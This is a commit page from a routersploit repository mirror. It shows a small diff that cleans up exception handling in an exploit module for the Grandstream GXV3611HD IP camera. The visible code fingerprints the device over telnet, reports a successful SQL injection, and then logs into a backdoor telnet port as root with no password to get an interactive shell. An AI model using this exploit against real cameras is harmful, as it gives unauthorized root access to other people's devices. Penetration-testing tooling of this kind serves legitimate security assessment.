Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
b3ec1e82
Commit
b3ec1e82
authored
Feb 02, 2017
by
lucyoa
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing exception handling #2
parent
9d029f30
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
4 additions
and
5 deletions
+4
-5
gxv3611hd_ip_camera_rce.py
...t/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py
+4
-5
No files found.
routersploit/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py
View file @
b3ec1e82
...
@@ -49,7 +49,7 @@ class Exploit(exploits.Exploit):
...
@@ -49,7 +49,7 @@ class Exploit(exploits.Exploit):
conn
.
write
(
"quit
\r\n
"
)
conn
.
write
(
"quit
\r\n
"
)
conn
.
close
()
conn
.
close
()
print_success
(
"SQLI successful, going to telnet into port 20000 with username root and no password to get shell"
)
print_success
(
"SQLI successful, going to telnet into port 20000 with username root and no password to get shell"
)
except
:
except
Exception
:
print_error
(
"Exploit failed. Could not log in."
)
print_error
(
"Exploit failed. Could not log in."
)
try
:
try
:
...
@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
...
@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
conn
.
read_until
(
"# "
)
conn
.
read_until
(
"# "
)
print_success
(
"Authenticaiton Successful"
)
print_success
(
"Authenticaiton Successful"
)
conn
.
interact
()
conn
.
interact
()
except
:
except
Exception
:
print_error
(
"Failed to log into backdoor."
)
print_error
(
"Failed to log into backdoor."
)
else
:
else
:
print_error
(
"Exploit failed. Target does not appear vulnerable"
)
print_error
(
"Exploit failed. Target does not appear vulnerable"
)
...
@@ -70,7 +70,6 @@ class Exploit(exploits.Exploit):
...
@@ -70,7 +70,6 @@ class Exploit(exploits.Exploit):
def
check
(
self
):
def
check
(
self
):
try
:
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
if
'Grandstream'
in
conn
.
read_until
(
"login:"
):
return
'Grandstream'
in
conn
.
read_until
(
"login:"
)
return
True
except
Exception
:
except
:
return
False
return
False
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment